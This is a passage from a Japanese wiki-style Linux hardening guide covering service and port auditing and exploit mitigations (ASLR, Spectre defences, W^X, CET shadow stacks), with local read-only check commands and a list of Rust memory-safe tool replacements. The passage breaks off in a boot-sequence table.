サポート切れの OS を搭載したハードウェアはどうすれば良いでしょうか。これには使い続けるいくつかの方法がありますが、基本的にオススメしません。古い OS を搭載していたハードウェアはハードウェア仕様も古いからです。

==== スタンドアロン運用 ====
古いハードウェアはインターネットに繋がずに使用すること（スタンドアロン運用）も可能です。

しかしながらUSBメモリでデータをやり取りする場合はUSBメモリ経由での感染などのリスクは残ります。

==== 新しめのLinuxを導入 ====
新しめのLinuxを導入するという方法もあります。

これに適したものでは例えばWindows 11非対応のPC (Intel 第7世代以前、AMD Ryzen 1000シリーズ以前) が挙げられます。

またスマートフォンやタブレットであればカスタムROMが、ルーターであればDD-WRTやOpenWRTが存在します。

==== 手放す ====
手に負えなければデータだけバックアップして手放しましょう。情報が漏れないよう初期化も忘れずに。

== 不要なサービスを止める / 削除する ==
{| class=&quot;wikitable&quot;
|+ サービス表示系コマンド
|-
! 稼働中のシステムサービスを見る
| &lt;code&gt;systemctl --type=service --state=running&lt;/code&gt;
|-
! 稼働中のユーザーサービスを見る
| &lt;code&gt;systemctl --user --type=service --state=running&lt;/code&gt;
|}

=== TCP/UDP経由のサービス ===
TCP/UDPでのポート待ち受けのあるプロセスを見るには &lt;code&gt;sudo ss -tulnp&lt;/code&gt; を、通信しているプロセスを見るには &lt;code&gt;sudo lsof -i -P -n&lt;/code&gt; を実行しましょう。

{| class=&quot;wikitable&quot;
|+ 主なポート待ち受けのあるプロセス
|-
! ポート !! 機能 !! プロセス名 !! サービス名または起動コマンド !! パッケージ名 (Ubuntu) || 直接問い合せコマンド
|-
| rowspan=2 | 53/UDP&lt;br&gt;53/TCP || rowspan=2 | DNS（名前解決） || systemd-resolved || systemd-resolved.service || systemd-resolved || &lt;code&gt;dig @127.0.0.53 example.com&lt;/code&gt;
|-
| dnsmasq || dnsmasq.service&lt;br/&gt;dnsmasq@.service || dnsmasq-base&lt;br&gt;dnsmasq || &lt;code&gt;dig @10.208.199.1 example.com&lt;/code&gt;
|-
| rowspan=2 | 5353/UDP || rowspan=2 | [[:w:マルチキャストDNS|マルチキャストDNS]] || systemd-resolved || systemd-resolved.service ||  systemd-resolved || &lt;code&gt;resolvectl -p mdns query $HOSTNAME.local&lt;/code&gt;
|-
| Avahi || avahi-daemon.service || avahi-daemon || &lt;code&gt;avahi-resolve-host-name $HOSTNAME.local&lt;/code&gt;
|-
| 67/UDP&lt;br&gt;547/UDP || [[:w:DHCP|DHCP]]&lt;br&gt;[[:w:DHCPv6|DHCPv6]] || dnsmasq || dnsmasq.service&lt;br/&gt;dnsmasq@.service || dnsmasq-base&lt;br&gt;dnsmasq || &lt;code&gt;IP=$(ip -4 -o addr show pan1 &amp;vert; grep -oP '(?&lt;=inet )[\d.]+'); sudo dhcping -v -i -s &quot;$IP&quot; -c &quot;$IP&quot;&lt;/code&gt;{{efn|Ubuntuではdhcpingパッケージの導入が必要です。}}
|-
| rowspan=2 | 68/UDP&lt;br&gt;546/UDP || rowspan=2 | DHCPクライアント&lt;br&gt;DHCPv6クライアント{{efn|単独のDHCPクライアントである dhclient、dhcpcd なども存在する。また開発終了になったisc-dhcp-clientも存在した。}} || systemd-networkd&lt;wbr&gt;{{efn|name=&quot;network-all&quot;}} || || systemd || 
|-
| NetworkManager&lt;wbr&gt;{{efn|name=&quot;network-all&quot;|ネットワーク管理全般を担当しています。}} || NetworkManager.service || network-manager || 
|-
| rowspan=2 | 123/UDP&lt;br&gt;4460/TCP || rowspan=2 | NTP（時刻同期）&lt;br&gt;NTS-KE （NTPの鍵交換）{{efn|これらの代替として systemd-timesyncd もありますが、こちらは NTP の代わりに単純な SNTP のみ実装の上、サーバーを持たずクライアント側のみ対応です。}} || ntpd || ntpsec.service || ntpsec || rowspan=2 | &lt;code&gt;ntpdig localhost&lt;/code&gt;{{efn|ローカルへのNTP問い合せは&lt;code&gt;ntpdate -q localhost&lt;/code&gt;でもできますが、こちらはNTP-KE非対応です。}}
|-
| chronyd || chrony.service || chrony
|-
| 80/TCP&lt;br&gt;443/HTTP&lt;br&gt;443/UDP || HTTP&lt;br&gt;HTTPS&lt;br&gt;HTTP/3 (QUIC) || apache2 || apache2.service&lt;br&gt;apache2@.service&lt;br&gt;httpd.service&lt;br&gt;httpd@.service || apache2 || HTTP: &lt;code&gt;curl http://localhost&lt;/code&gt;&lt;br&gt;HTTPS: &lt;code&gt;curl --http2 https://localhost&lt;/code&gt;&lt;br&gt;HTTP/3: &lt;code&gt;curl --http3-only https://localhost&lt;/code&gt;
|-
| rowspan=2 | ユーザーポート/UDP || rowspan=2 | HTTP/3 (QUIC) クライアント&lt;br&gt;WebRTCクライアント || chrome{{efn|Google Chrome}} || &lt;code&gt;google-chrome&lt;/code&gt; || google-chrome (公式APTリポジトリ) || 
|-
| firefox{{efn|Mozzila Firefox}} || &lt;code&gt;firefox&lt;/code&gt; || firefox (snap) || 
|-
| rowspan=2 |21/TCP&lt;br&gt;20/TCP{{efn|アクティブモードのみデータ転送で使われます。}} || rowspan=2 | FTP || proftpd || proftpd.service&lt;br&gt;proftpd@.service || proftpd-core || rowspan=2 | &lt;code&gt;curl ftp://localhost&lt;/code&gt;
|-
| vsftpd || vsftpd.service || vsftpd
|-
| 22/TCP || SSH / SFTP || sshd || ssh.service&lt;br&gt;sshd@.service || openssh-server || &lt;code&gt;ssh-keyscan 127.0.0.1&lt;/code&gt;
|-
| rowspan=2 | 6881/TCP || rowspan=2 | BitTorrent || qbittorrent || &lt;code&gt;qbittorrent&lt;/code&gt; || qbittorrent ||
|-
| ktorrent || &lt;code&gt;ktorrent&lt;/code&gt; || ktorrent ||
|-
| rowspan=2 | 51413/TCP || rowspan=2 | Transmission&lt;wbr&gt;{{efn|BitTorrentプロトコル。TransmissionをベースとするFragmentsも同ポートを使用します。}} || transmission-daemon || transmission-daemon.service || transmission-daemon ||
|-
| transmission-gtk || &lt;code&gt;transmission-gtk&lt;/code&gt; || transmission-gtk ||
|-
| 5001/TCP&lt;br&gt;5001/UDP || rowspan=2|  ネットワークパフォーマンス計測 || iperf || &lt;code&gt;iperf -s&lt;/code&gt; || iperf || &lt;code&gt;iperf -c localhost&lt;/code&gt;
|-
| 5021/TCP&lt;br&gt;5021/UDP || iperf3 || &lt;code&gt;iperf3 -s&lt;/code&gt; || iperf3 || &lt;code&gt;iperf3 -c localhost&lt;/code&gt;
|-
| 1716/UDP&lt;br&gt;1716/TCP&lt;br&gt;ユーザーポート/UDP || スマートフォン連携 (KDE) || kdeconnectd || &lt;code&gt;kdeconnect-app&lt;/code&gt; || kdeconnect ||
|-
| ユーザーポート/TCP || Claude Proxy Service || code{{efn|[[:w:Visual Studio Code|Visual Studio Code]]のプロセス。}} || &lt;code&gt;code&lt;/code&gt; || code (公式APTリポジトリ) || 
&lt;!--
|-
|  || AI コーディング支援 (Google Antigravity CLI{{efn|Command Line Interface}}) || agy || || (Visal Studio Code拡張) || 
--&gt;
|-
| rowspan=2 | 3389/TCP&lt;br&gt;3389/UDP || rowspan=2 | Remote Desktop Protocol || gnome-remote-desktop-daemon{{efn|GNOME Remote Desktop}} || gnome-remote-desktop.service&lt;!-- (system)--&gt;&lt;br&gt;gnome-remote-desktop.service (user)&lt;br&gt;gnome-remote-desktop-headless.service (user) || gnome-remote-desktop || 
|-
| krdpserver || app-org.kde.krdpserver.service (user) || krdp || 
|-
| 47984/TCP&lt;br&gt;47989/TCP&lt;br&gt;48010/TCP&lt;br&gt;47998–48010/UDP || NVIDIA GameStream || sunshine ||  app-dev.&lt;wbr&gt;lizardbyte.&lt;wbr&gt;app.&lt;wbr&gt;Sunshine.service (user) || sunshine (公式debファイル) ||  (moonlight-qt)
|-
| 27031-27036/UDP&lt;br&gt;27036/TCP || Steam Remote Play&lt;ref&gt;[https://help.steampowered.com/ja/faqs/view/2EA8-4D75-DA21-31EB Steam接続に必要なポート] Valve&lt;/ref&gt; || steam || &lt;code&gt;steam&lt;/code&gt; || steam (公式APTリポジトリ) || 
|-
| 1900/UDP || UPnP{{efn|パケットフィルタと共に使用して要求に従ってポートマッピングする。}} || miniupnpd || miniupnpd.service || miniupnpd-nftables&lt;br&gt;miniupnpd-iptables ||
|}

なおUPnPのポートは外側に解放しないようにしましょう。また内側にだけ解放した場合も内側に侵害された機器が存在する場合に危険となるのでVLANでネットワークを分けるなどを心がけましょう。

また外側に開いてるポートはランダム割り当てされないように sysctl の &lt;code&gt;net.ipv4.ip_local_reserved_ports&lt;/code&gt; で予約しておきましょう。この設定を永続化するには /etc/sysctl.d/99-local-ports.conf あたりに&lt;code&gt;net.ipv4.ip_local_reserved_ports=a,b,c&lt;/code&gt;{{efn|ダブルクォーテーションで囲むと「無効な引数です」のエラーになるので注意してください。}}と記述すれば OK です。設定を直ぐに反映するには&lt;code&gt;sudo sysctl --system&lt;/code&gt;を実行しましょう。

&lt;!--TODO: CUPS、Postfix、Samba、Wsdd--&gt;

=== Unix Domain経由のサービス ===
Unix Domainでのポート待ち受けのあるプロセスを見るには &lt;code&gt;sudo ss -xlp&lt;/code&gt; を実行しましょう。


=== dbus経由のサービス ===
システムバスは &lt;code&gt;busctl --system list&lt;/code&gt;、セッションバスは &lt;code&gt;busctl --user list&lt;/code&gt; で確認することができます。

それらを提供する実行中のプロセスの一覧は以下で取得できます:
* システムバスを提供するプロセス: &lt;code&gt;busctl --system --no-pager | awk 'NR&gt;1 &amp;&amp; $2 ~ /^[0-9]+$/ {print $2}' | xargs -I {} readlink &quot;/proc/{}/exe&quot; | sort -u&lt;/code&gt;
* ユーザーバスを提供するプロセス: &lt;code&gt;busctl --user --no-pager | awk 'NR&gt;1 &amp;&amp; $2 ~ /^[0-9]+$/ {print $2}' | xargs -I {} readlink &quot;/proc/{}/exe&quot; | sort -u&lt;/code&gt;

dbusサービスの一部はプロセス未実行のアクティベータブル (activatable) な状態で提供されています。アクティベータブルな状態で提供するサービスの実行コマンドは以下で取得できます:
*  activatableなシステムバスの実行コマンド: &lt;code&gt;busctl --system --no-pager --activatable | awk '{print $1}' | xargs -I {} find /usr/share/dbus-1 -name &quot;{}.service&quot; | xargs grep -h &quot;Exec=&quot; | sed 's/Exec=//g' | sort -u&lt;/code&gt;
*  activatableなユーザーバスの実行コマンド: &lt;code&gt;busctl --user --no-pager --activatable | awk '{print $1}' | xargs -I {} find /usr/share/dbus-1 -name &quot;{}.service&quot; | xargs grep -h &quot;Exec=&quot; | sed 's/Exec=//g' | sort -u&lt;/code&gt;

== 潜在的な脆弱性を減らす ==
現代のプログラムでは以下のような保護が行われています。

=== メモリアドレスの推測困難化 === 
攻撃に必要なコード片（ガジェット）のメモリアドレスを推測しにくくするために、カーネル空間、ユーザー空間の両方で[[:w:アドレス空間配置のランダム化|アドレス空間配置のランダム化]]（ASLR）が行われています。カーネル空間の ASLR は KASLR (Kernel ASLR) とも呼ばれています。

ユーザー空間のプログラムで ASLR を有効にするためには[[:w:位置独立コード|位置独立コード]] (PIC) / 位置独立実行形式 (PIE) である必要があります。Unix で使われる実行形式の ELF では位置独立実行形式が ET_DYN、非位置独立実行形式 (non-PIE) が ET_EXEC となります。

Linuxでは ASLR が無効となる非位置独立実行形式のファイルを以下で検索することができます:
&lt;syntaxhighlight lang=&quot;shell-session&quot;&gt;
$ # License: CC0 / Public Domain
$ # 非位置独立実行形式 (non-PIE) のバイナリを検索
$ find / -type f -executable 2&gt;/dev/null | xargs -I {} sh -c 'LANG=C readelf -h {} 2&gt;/dev/null | grep -E &quot;Type:.*EXEC&quot; &gt;/dev/null &amp;&amp; echo {}'
/usr/lib/default.sfx
/usr/lib/klibc/bin/mkfifo
/usr/lib/klibc/bin/zcat
/usr/lib/klibc/bin/poweroff
[...]
$ # 非位置独立実行形式 (non-PIE) のバイナリを含むDebianパッケージを検索
$ find / -type f -executable 2&gt;/dev/null | xargs -I {} sh -c 'LANG=C readelf -h {} 2&gt;/dev/null | grep -E &quot;Type:.*EXEC&quot; &gt;/dev/null &amp;&amp; echo {}' | xargs -r -d '\n' -n1 dpkg-query -S | sed 's/: .*//' | sort -u
aidl
busybox-static
code
cpp-15-x86-64-linux-gnu
cuda-gdb-13-4
cuda-nvcc-13-4
cuda-sanitizer-13-4
cuda-tileiras-13-4
debugedit
g++-15-x86-64-linux-gnu
gcc-15-x86-64-linux-gnu
gcc-mingw-w64-i686-posix
gdc-15-x86-64-linux-gnu
gds-tools-13-4
gfortran-15-x86-64-linux-gnu
gh
git-lfs
gobjc-15-x86-64-linux-gnu
gocryptfs
golang-1.26-go
go-md2man
go-mtpfs
[...]
&lt;/syntaxhighlight&gt;

現在のLinuxカーネルがユーザー空間 ASLR を有効にしているかは以下で確認できます (出力例はUbuntu 26.04):
&lt;syntaxhighlight lang=&quot;shell-session&quot;&gt;
$ sysctl kernel.randomize_va_space # 0=無し、1=部分的、2=完全
kernel.randomize_va_space = 2
&lt;/syntaxhighlight&gt;

また現在のLinuxカーネルがカーネル ASLR (KASLR) を有効にしているかは以下で確認できます (出力例はUbuntu 26.04):
&lt;syntaxhighlight lang=&quot;shell-session&quot;&gt;
$ grep 'CONFIG_RANDOMIZE_BASE' /boot/config-$(uname -r) # y=Yes, n=No
CONFIG_RANDOMIZE_BASE=y
&lt;/syntaxhighlight&gt;

なお ASLR は間接的な関数呼び出し（ C++ の vtable を含む）があると、そのアドレスから ASLR のオフセットがバレてしまい突破されてしまいます。

また CPU の[[:w:投機的実行|投機的実行]]での情報漏れ (Spectre) による[[:w:キャッシュ攻撃|キャッシュサイドチャネル攻撃]]（後述）の一つである「投機的探査」 (BlindSide) によってもコードの位置情報の取得がされ ASLR が突破されてしまいます。

=== 投機的実行の情報漏れ防止 ===
前述のとおり、投機的実行による情報漏れ (Spectre) は攻撃に繋がります。Spectre には境界チェックを迂回する Spectre V1 と間接分岐の分岐先アドレスのキャッシュ{{efn|分岐先バッファ (Branch Target Buffer、BTB)や分岐先アドレスキャッシュ (Branch Target Address Cache、BTAC) と呼ばれる。}}を汚染する Spectre V2 が存在します。&lt;!--TODO: Spectre v3/v4、Zenbleed--&gt;

Spectre V1 を防ぐ方法としては投機的実行を阻害するための命令（x86ではLFENCE）の挿入{{efn|Linuxカーネルでの投機的実行の防止は&lt;code&gt;barrier_nospec()&lt;/code&gt;。}}やアクセスできるアドレス範囲を狭めることが行われています{{efn|GCCでの投機的実行での範囲外アクセス防止は&lt;code&gt;__builtin_speculation_safe_value(...)&lt;/code&gt;、Linuxカーネルでの投機的実行での範囲外アクセス防止は&lt;code&gt;array_index_nospec(...)&lt;/code&gt;&lt;ref&gt;[https://lwn.net/Articles/759423/ Spectre V1 defense in GCC] LWN 2018年7月10日&lt;/ref&gt;。}}。

また Spectre V2 では攻撃を防ぎながらも速度を落とさない方法として脆弱な分岐先アドレスキャッシュに依存する間接分岐の代わりにリターンアドレスのキャッシュ{{efn|リターンスタックバッファ (RSB) と呼ばれる。}}に依存するリターン命令を使う retpoline が登場しました。しかしながらこの retpoline でも速度の低下は起こるため、既知の間接呼び出しを条件分岐 + 直接呼び出しに変換して高速化する手法が模索されました。LLVM では retpoline を有効にする &lt;code&gt;-mretpoline&lt;/code&gt;フラグの処理内に既知の仮想関数呼び出しを[[:w:二分木|二分木]]の直接分岐に置き換える「分岐ファネル」(Branch funnel) が導入されています&lt;ref&gt;[https://reviews.llvm.org/D42453 Use branch funnels for virtual calls when retpoline mitigation is enabled.] LLVM project&lt;/ref&gt;。また Linux カーネルでも既知の間接呼び出しを条件分岐 + 直接呼び出しに変換する INDIRECT_CALL_* マクロが搭載されています&lt;ref&gt;[https://lwn.net/Articles/774743/ Relief for retpoline pain] LWN 2018年12月14日&lt;/ref&gt;。&lt;!--TODO: Intel CETのSHSTKとretpolineの衝突--&gt;

一方、リターン命令の投機的実行も「Retbleed」や AMD CPU における「投機的リターンスタックオーバーフロー」 (SRSO){{efn|Speculative Return Stack Overflow。}}のような脆弱性が見つかっています。

なお低権限コードから高権限コードへの権限境界をまたいだ Spectre および Retbleed は Intel の「間接分岐制限付き投機」(IBRS){{efn|Indirect Branch Restricted Speculation。}}およびそれを高速化した「拡張IBRS」(eIBRS) などハードウェア側によって塞がれました&lt;ref&gt;[https://www.intel.com/content/www/us/en/developer/articles/technical/software-security-guidance/technical-documentation/hardware-behavior-related-to-speculative-execution.html Hardware Features and Behavior Related to Speculative Execution] Intel 2026年10月14日&lt;/ref&gt;が、権限境界をまたがないものは今も可能となっています。

=== メモリにおける書き込みと実行の排他化 (W^X) ===
メモリでは書き込み可能領域の実行不可化 ([[:w:NXビット|NXビット]]) と実行可能領域の書き込み不可化による書き込みと実行の排他化（[[:w:en:W^X|W^X]]）が一般的となっています。NXビットは x86 では NXビットは AMD64 と共に搭載された古い機能であるため、今時の CPU と OS は基本的にこれに対応しています。

現在の CPU がNXビットを有効にしているかはLinuxでは以下で確認できます:
&lt;syntaxhighlight lang=&quot;shell-session&quot;&gt;
$ grep '^flags' /proc/cpuinfo | grep -o nx
nx
nx
[...]
&lt;/syntaxhighlight&gt;

現在のLinuxカーネルが厳格な W^X を有効にしているかは以下で確認できます (出力例はUbuntu 26.04):
&lt;syntaxhighlight lang=&quot;shell-session&quot;&gt;
$ grep '_RWX' /boot/config-$(uname -r) # y=Yes, n=No
CONFIG_ARCH_HAS_STRICT_KERNEL_RWX=y
CONFIG_STRICT_KERNEL_RWX=y
CONFIG_ARCH_HAS_STRICT_MODULE_RWX=y
CONFIG_STRICT_MODULE_RWX=y
&lt;/syntaxhighlight&gt;

しかしながら書き込みと実行の排他の原則を破ってそれらを同時に行える場所というものも存在しています。読み込み・書き込み・実行が可能なことから「RWXセクション」と呼ばれています。Windows ではメモリページの PAGE_EXECUTE_READWRITE フラグがこれに相当します&lt;ref&gt;[https://learn.microsoft.com/ja-jp/windows/win32/memory/memory-protection-constants メモリ保護定数] メモリ保護定数 (WinNT.h) - Win32 apps | Microsoft Learn&lt;/ref&gt;。

Windows のカーネルドライバでは NX フラグの使用が義務付けられています&lt;ref&gt;[https://learn.microsoft.com/en-us/windows-hardware/test/hlk/testref/driver-compatibility-with-device-guard メモリ整合性と VBS とのドライバ互換性] Microsoft&lt;/ref&gt;が、その Windows カーネルにおいても PatchGuard の領域がコード難読化のためにこの原則を破っています。&lt;!--TODO: ホットパッチ--&gt;

また Linux でも実行可能領域を書き込み可能ページとして割り当てて書き込む text_poke 関数が用意されています。

=== 制御フローの操作を防ぐ (CET)  ===
現代では「[[:w:Return-oriented programming|リターン指向プログラミング]]」(ROP)、「呼び出し指向プログラミング」 (COP)、「ジャンプ指向プログラミング」(JOP) 、「[[:en:Sigreturn-oriented programming|Sigreturn指向プログラミング]]」(SROP) などの制御フロー操作による攻撃が一般化していますが、これを防ぐ技術として「[[:w:en:Control-flow integrity#Intel Control-flow Enforcement Technology|制御フロー強制テクノロジー]]」(CET) の「[[:w:en:Indirect branch tracking|間接分岐追跡]]」(IBT) と「[[:w:en:Shadow stack|シャドウスタック]]」(SHSTK) が存在します。

制御フロー強制は比較的新しい技術であるため、対応する CPU は以下に限られます:
* Intel Core (Tiger Lake) 第11世代以降
* AMD Zen 3 以降（シャドウスタックのみ）

現在の CPU が間接分岐追跡 (IBT)  およびシャドウスタックに対応しているかはLinuxでは以下で確認できます:
&lt;syntaxhighlight lang=&quot;shell-session&quot;&gt;
$ grep '^flags' /proc/cpuinfo | grep -oE '(ibt|shstk)'
shstk
ibt
shstk
ibt
[...]
&lt;/syntaxhighlight&gt;

またユーザーランドのシャドウスタックの使用にはユーザーランドだけでなくカーネルの対応も必要となります。Linux カーネル では 6.6 以降対応でこれに対応しています（sigreturnにも対応&lt;ref&gt;[https://github.com/torvalds/linux/commit/05e36022c0543ba55a3de55af455b00cb3eb4fcc x86/shstk: Handle signals for shadow stack · torvalds/linux@05e3602] GitHub 2023年8月3日&lt;/ref&gt;）。 Linuxディストリビューションでは Ubuntu 24.04以降、 Red Hat Enterprise Linux 9.7 以降&lt;ref&gt;[https://docs.redhat.com/ja/documentation/red_hat_enterprise_linux/9/html/9.7_release_notes/new-features-kernel 4.8. カーネル - 9.7 リリースノート - Red Hat Enterprise Linux - 9 - Red Hat Documentation] Red Hat&lt;/ref&gt;が標準でシャドウスタックを有効としています。

現在のLinuxカーネルがユーザーランドの間接分岐追跡およびシャドウスタックを有効にしているかは以下で確認できます (出力例はUbuntu 26.04):
&lt;syntaxhighlight lang=&quot;shell-session&quot;&gt;
$ grep -E '_(IBT|SHADOW_STACK)' /boot/config-$(uname -r) # y=Yes, n=No
CONFIG_CC_HAS_IBT=y
# CONFIG_X86_KERNEL_IBT is not set
CONFIG_X86_USER_SHADOW_STACK=y
CONFIG_X86_DISABLED_FEATURE_IBT=y
CONFIG_ARCH_HAS_USER_SHADOW_STACK=y
&lt;/syntaxhighlight&gt;

現在のユーザーランドプログラムの中で間接分岐追跡またはシャドウスタックが無効化されているものはLinuxでは以下で確認できます:
&lt;syntaxhighlight lang=&quot;shell-session&quot;&gt;
$ # License: CC0 / Public Domain
$ # 間接分岐追跡またはシャドウスタックが無効化されているバイナリを検索
$ find / -type f 2&gt;/dev/null | xargs -I {} sh -c 'readelf -h &quot;{}&quot; &gt;/dev/null 2&gt;&amp;1 &amp;&amp; (readelf -n &quot;{}&quot; 2&gt;/dev/null | grep -E IBT,.*SHSTK &gt; /dev/null || echo &quot;{}&quot;)'
/usr/lib/lv2/carla.lv2/carla.so
/usr/lib/7zip/7z
/usr/lib/7zip/7zCon.sfx
/usr/lib/7zip/7zr
/usr/lib/7zip/7z.so
/usr/lib/7zip/7za
/usr/lib/klibc/bin/ipconfig
/usr/lib/klibc/bin/umount
/usr/lib/klibc/bin/halt
[...]
$ # 間接分岐追跡またはシャドウスタックが無効化されているバイナリを含むDebianパッケージを検索
$ find / -type f 2&gt;/dev/null | xargs -I {} sh -c 'readelf -h &quot;{}&quot; &gt;/dev/null 2&gt;&amp;1 &amp;&amp; (readelf -n &quot;{}&quot; 2&gt;/dev/null | grep -E IBT,.*SHSTK &gt; /dev/null || echo &quot;{}&quot;)' | xargs -r -d '\n' -n1 dpkg-query -S | sed 's/: .*//' | sort -u
7zip
aidl
ardour
avr-libc
cargo-1.93
carla
carla-bridge-wine32:i386
carla-bridge-wine64
carla-lv2
carla-vst
cuda-ctadvisor-13-4
cuda-cudart-13-4
[...]
&lt;/syntaxhighlight&gt;

一方、Linuxカーネルのカーネル側のシャドウスタック対応は2026年現在まだ開発中となっています (x86 Kernel Shadow Stacksパッチシリーズ)&lt;ref&gt;[https://www.phoronix.com/news/Linux-Kernel-Shadow-Stacks x86 Kernel Shadow Stacks Being Worked On For Linux As Powerful Control Flow Protection] Phoronix 2026年10月22日&lt;/ref&gt;。

なお、制御フロー強制テクノロジーの間接分岐追跡とシャドウスタックが有効であっても異なる関数の通常呼び出しは防げません。分かりやすい例では関数の間接呼び出しにおいて関数ポインタを&lt;code&gt;sigaction&lt;/code&gt;へと変更して独自のシグナルハンドラを登録し、その後クラッシュさせてそのシグナルハンドラを呼び出すという「セグメンテーション違反指向プログラミング」(SFOP) が挙げられます。また攻撃に使える関数 (dop gadgets) {{efn|dop gadgetsの検索の公式実装は「DOP-StaticAssist」[https://github.com/melynx/DOP-StaticAssist]だが長らく更新されておらず古いLLVM 3.5に依存している状態となっている。}}の通常呼び出しだけで攻撃する「Data-Oriented Programming」(DOP) &lt;ref&gt;Hong Hu et al. [https://ieeexplore.ieee.org/stamp/stamp.jsp?tp=&amp;arnumber=7546545 Data-Oriented Programming: On the Expressiveness of Non-Control Data Attacks] IEEE 2016年&lt;/ref&gt;{{efn|セキュリティ以外の文脈におけるデータ指向プログラミング、データ指向設計、データ駆動型設計とは異なる。}}という手法も存在します。

C++向けでは仮想関数テーブル (vtable) を改ざんして攻撃に使える仮想関数（仮想関数ガジェット、vfgadget）を呼び出す「偽造オブジェクト指向プログラミング」(COOP) という攻撃手法も登場しています。

=== メモリ安全性の高いソフトウェアへ ===
既存のソフトウェアの脆弱性は7割がメモリ安全性の問題に起因すると言われています&lt;ref&gt;[https://www.cisa.gov/sites/default/files/2023-12/CSAC_TAC_Recommendations-Memory-Safety_Final_20231205_508.pdf REPORT TO THE CISA DIRECTOR Technical Advisory Council Memory Safety] サイバーセキュリティ諮問委員会 (CSAC) 2023年12月5日&lt;/ref&gt;。しかしながら[[C言語]]や[[C++]]はメモリ安全性が低いため、メモリ安全性の確保できる[[Rust]]などで書かれた代替プログラムが登場しています:
{| class=&quot;wikitable&quot;
|+ コマンドのRust版
|-
! コマンドの概要 !! 従来版 !! Rust版
|-
| Unix系の基本コマンド群 || GNU Core Utilities || '''uutils coreutils'''
|-
| ファイル検索コマンド群{{efn|&lt;code&gt;find&lt;/code&gt;、&lt;code&gt;locate&lt;/code&gt;、&lt;code&gt;updatedb&lt;/code&gt;、&lt;code&gt;xargs&lt;/code&gt;の4コマンド}} || GNU Findutils || '''uutils findutils'''
|-
| ファイル差分コマンド群{{efn|&lt;code&gt;diff&lt;/code&gt;、&lt;code&gt;cmp&lt;/code&gt;、&lt;code&gt;diff3&lt;/code&gt;、&lt;code&gt;sdiff&lt;/code&gt;の4コマンド}} || GNU Diffutils || '''uutils diffutils'''
|-
| ストリームエディタ (sed) || GNU sed / FreeBSD sed || '''uutils sed'''
|-
| AWKスクリプト || GNU AWK || '''uutils AWK'''
|-
| 文字列検索 || GNU Grep || '''uutils Grep'''
|-
| tarアーカイブ || GNU Tar || '''uutils tar'''
|-
| アカウント管理コマンド群 || shadow-utils || '''uutils shadow-utils'''
|-
| アクセス制御コマンド群{{efn|&lt;code&gt;chacl&lt;/code&gt;、&lt;code&gt;getfacl&lt;/code&gt;、&lt;code&gt;setfacl&lt;/code&gt;の3コマンド}} || acl || '''uutils acl'''
|-
| procfs{{efn|プロセスファイルシステム}}表示コマンド群 || procps / procps-ng || '''uutils procps'''
|-
| ホスト名管理コマンド群{{efn|&lt;code&gt;hostname&lt;/code&gt;、&lt;code&gt;dnsdomainname&lt;/code&gt;、&lt;code&gt;domainname&lt;/code&gt;、&lt;code&gt;nisdomainname&lt;/code&gt;、&lt;code&gt;ypdomainname&lt;/code&gt;の5コマンド。}} || hostname || '''uutils hostname'''
|-
| Linuxユーティリティ || util-linux || '''uutils util-linux'''
|- 
| 権限昇格 || sudo || '''sudo-rs'''
|-
| 暗号・署名システム || GnuPG || '''Sequoia PGP'''
|-
| 時刻同期 || ntpd || '''ntpd-rs'''
|-
| セキュアシェル (SSH) || OpenSSH || '''russh'''
|}

これらのRustで書かれたコマンドのうちuutils coreutilsとsudo-rsはUbuntuに採用されています。

またライブラリでもRustだけ (Pure Rust) で実装されたものが登場しています:
* 画像ライブラリ - これらは例えばGNOMEデスクトップ環境の画像ローダーGlycinから使われています&lt;ref&gt;[https://gitlab.gnome.org/GNOME/glycin GNOME / glycin · GitLab] GNOME Project&lt;/ref&gt;。
** libpng → pngクレート - PNG画像向け。
** libgif → gifクレート - GIF画像向け。
** libjpeg / libjpeg-turbo → zune-jpeg / libjpeg-turbo-rs - JPEG画像向け。
** OpenJPEG → hayro-jpeg2000 - JPEG 2000画像向け。
** libtiff → tiffクレート - Tiff画像向け
** libwebp → image-webpクレート - WebP画像向け。
** libraw → libopenraw - RAW画像向け。
** librsvg - SVG画像向け。C言語からRustに書き直しされました。
* 圧縮ライブラリ
** zlib / zlib-ng → zlib-rs - Deflate圧縮向け
** libbzip2 → bzip2-rs - BZ2圧縮向け
* 暗号化ライブラリ
** OpenSSL / GnuTLS → [[:w:en:Rustls|Rustls]]
* Unicode処理ライブラリ
** ICU4C → ICU4X
* テキスト整形ライブラリ
** HarfBuzz → HarfRust
* ブラウザエンジン
** Blink/Gecko → Servo

&lt;!--
=== 整合性チェック ===
PatchGuard / HyperGuard
--&gt;

== 不審な改変が行われていないかを調べる ==
例えばOSの起動には一連のシーケンスがありますが、マルウェアは基本的にここの途中に入り込んで永続化します。

{| class=&quot;wikitable&quot;
|+ 起動シーケンス
|-
! 種類 || Windows 11以降 !! Linux (Gnome) !! Linux (KDE)
|-
| 1. 起動ファームウェア || [[:w:Unified Extensible Firmware Interface|UEFI]] || colspan=2 | [[:w:Basic Input/Output System|レガシーBIOS]] / UEFI
|-
| 2. ブートローダー || [[:w:Windows Boot Manager|Windows Boot Manager]] (bootmgfw.efi)&lt;br&gt; → [[:w:Windows Boot Manager#winload.exe/winload.efi|Windows OS Loader]] (winload.efi) || colspan=2 | GRUB{{efn|Ubuntuの標準。}} / systemd-boot / Unified Kernel Image{{efn|Linuxカーネルとブートイメージを単一バイナリにする仕組み。}} / EFI boot stub{{efn|LinuxカーネルをEFIから直接ブートできるようにする仕組み。}}
|-
| 3. カーネル || [[:w:ntoskrnl.exe|ntoskrnl.exe]] || colspan=2 | Linuxカーネル ([[:w:vmlinux|vmlinux]]{{efn|圧縮後はvmlinuzとなる。}})
|-
| 4. 初期化プロセス || [[:w:en:Session Manager Subsystem|smss.exe]]&lt;br&gt; → wininit.exe&lt;br&gt; || rowspan=2 colspan=2 | [[:w:systemd|systemd]]{{efn|以前は代替initもよく使われていたが、今はsystemdが標準となっている。}}
|-
| 5. サービスコントロールマネージャ || colspan=2 | [[:w:en:Service Control Manager|services.exe]]
|-
| rowspan=2 | 6. ログインマネージャ || rowspan=2 | [[:w:Winlogon|winlogon.exe]] || colspan=2 | systemd-logind&lt;br&gt;sd-pam
|-
| [[:w:GNOME ディスプレイマネージャー|GDM]] || [[:w:Simple Desktop Display Manager|SDDM]]
|-
| rowspan=2 | 7. ユーザー初期化プロセス || rowspan=2 | userinit.exe || colspan=2 | systemd
|-
| gnome-session || kcminit&lt;br&gt; → plasma_session
|-
| 8. シェル || [[:w:Windows Explorer|explorer.exe]] || gnome-shell || plasmashell
|-
